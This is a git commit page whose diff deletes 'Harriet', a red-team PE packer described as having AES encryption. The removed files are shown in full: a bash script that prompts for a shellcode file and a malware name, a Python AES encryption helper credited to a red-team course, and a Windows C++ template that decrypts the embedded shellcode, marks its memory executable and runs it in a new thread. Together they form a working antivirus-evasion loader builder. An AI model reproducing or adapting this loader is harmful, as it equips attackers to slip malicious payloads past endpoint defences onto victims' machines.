Przeglądaj źródła

Delete Harriett directory

assume-breach 3 lat temu
rodzic
commit
f288f38f20

+ 0 - 77
Harriett/Harriet/Harriet.sh

@@ -1,77 +0,0 @@
-#!/bin/bash
-
-# Color variables
-red='\033[0;31m'
-green='\033[0;32m'
-yellow='\033[0;33m'
-blue='\033[0;34m'
-magenta='\033[0;35m'
-cyan='\033[0;36m'
-# Clear the color after that
-clear='\033[0m'
-cat << "EOF"
-  __ _ ___ ___ _   _ _ __ ___   ___      | |__  _ __ ___  __ _  ___| |__  
- / _` / __/ __| | | | '_ ` _ \ / _ \_____| '_ \| '__/ _ \/ _` |/ __| '_ \ 
-| (_| \__ \__ \ |_| | | | | | |  __/_____| |_) | | |  __/ (_| | (__| | | |
- \__,_|___/___/\__,_|_| |_| |_|\___|     |_.__/|_|  \___|\__,_|\___|_| |_|
-                            
-                                **Harriet**
-                                
-                       A PE Packer With AES Encryption
-               
-                   
- 
-EOF
-echo -e ${green}"Enter A Random Word!"${clear}
-echo ""
-read Random1
-echo""
-echo -e ${green}"Enter A Random Word!"${clear}
-echo ""
-read Random2
-echo ""
-echo -e ${green}"Enter A Random Word!"${clear}
-echo ""
-read Random3
-echo ""
-echo -e ${green}"Enter The Path To Your Shellcode File. ex: /home/user/Downloads/shellcode.bin"${clear}
-echo ""
-read Shellcode
-echo ""
-echo -e ${green}"Name Your Malware! ex: malware.exe"${clear}
-echo ""
-read Random4
-echo ""
-cp ../template.cpp Resources/template.cpp
-echo -e ${yellow}"Encrypting Payload" ${clear}
-echo ""
-sleep 2
-python2 aesencrypt.py $Shellcode > shell.txt
-echo -e ${yellow}"Encryption Completed"${clear}
-echo ""
-sed -i s/Random1/$Random1/g Resources/template.cpp
-
-sed -i s/Random2/$Random2/g Resources/template.cpp
-
-sed -i s/Random3/$Random3/g Resources/template.cpp
-
-cp shell.txt shell2.txt
-
-keys=$(cat "shell2.txt")
-cut -d 'p' -f1 shell2.txt > shell3.txt
-keys=$(cat shell3.txt)
-keysnow=${keys#*=}
-sed -i "s/KEYVALUE/$keysnow/g" Resources/template.cpp
-
-payload=$(cat "shell.txt")
-payloadnow=${payload#*;}
-payloadtoday=${payloadnow#*=}
-echo $payloadtoday > shell5.txt
-perl -pe 's/PAYVAL/`cat shell5.txt`/ge' -i Resources/template.cpp
-sleep 2
-echo -e ${yellow}"Compiling Malware"${clear}
-x86_64-w64-mingw32-g++ -o $Random4 Resources/template.cpp -fpermissive -Wno-narrowing >/dev/null 2>&1
-echo ""
-sleep 2
-echo -e ${yellow}"Malware Compiled. Happy Hunting"${clear}
-rm shell*

+ 0 - 1
Harriett/Harriet/Resources/template.cpp

@@ -1 +0,0 @@
-placeholder for copy.

+ 0 - 36
Harriett/Harriet/aesencrypt.py

@@ -1,36 +0,0 @@
-# Red Team Operator course code template
-# payload encryption with AES
-# 
-# author: reenz0h (twitter: @sektor7net)
-
-import sys
-from Crypto.Cipher import AES
-from os import urandom
-import hashlib
-
-KEY = urandom(16)
-
-def pad(s):
-#	o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
-	return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
-
-def aesenc(plaintext, key):
-
-	k = hashlib.sha256(key).digest()
-	iv = 16 * '\x00'
-	plaintext = pad(plaintext)
-	cipher = AES.new(k, AES.MODE_CBC, iv)
- #       o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
-	return cipher.encrypt(bytes(plaintext))
-
-
-try:
-    o = lambda x: x if isinstance(x, int) else ord(x) # handle data being bytes not string
-    plaintext = open(sys.argv[1], "rb").read()
-except:
-    print("File argument needed! %s <raw payload file>" % sys.argv[0])
-    sys.exit()
-
-ciphertext = aesenc(plaintext, KEY)
-print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
-print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

+ 0 - 78
Harriett/template.cpp

@@ -1,78 +0,0 @@
-#include <windows.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <wincrypt.h>
-#pragma comment (lib, "crypt32.lib")
-#pragma comment (lib, "advapi32")
-#include <psapi.h>
-#include <string.h>
-#include <tlhelp32.h>
-
-
-int Random1(char * different, unsigned int different_len, char * Random2, size_t keylen) {
-        HCRYPTPROV hProv;
-        HCRYPTHASH hHash;
-        HCRYPTKEY hKey;
-
-        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
-                return -1;
-        }
-        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
-                return -1;
-        }
-        if (!CryptHashData(hHash, (BYTE*)Random2, (DWORD)keylen, 0)){
-                return -1;              
-        }
-        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
-                return -1;
-        }
-        
-        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, different, &different_len)){
-                return -1;
-        }
-        
-        CryptReleaseContext(hProv, 0);
-        CryptDestroyHash(hHash);
-        CryptDestroyKey(hKey);
-        
-        return 0;
-}
-
-
-int main(void) {
-	
-	void * exec_mem;
-	BOOL rv;
-	HANDLE th;
-        DWORD oldprotect = 0;
-	
-	
-	char Random2[] = KEYVALUE
-	unsigned char Random3[] = PAYVAL
-	unsigned int calc_len = sizeof(Random3);
-
-	int pid = 0;
-        HANDLE hProc = NULL;	
-	strrev(Random3);
-	FreeConsole();
-	strrev(Random3);
-
-	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
-	
-	
-	Random1((char *) Random3, calc_len, Random2, sizeof(Random2));
-	
-	RtlMoveMemory(exec_mem, Random3, calc_len);
-	
-	rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
-
-
-	if ( rv != 0 ) {
-			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
-			WaitForSingleObject(th, -1);
-	}
-	
-	return 0;
-}
-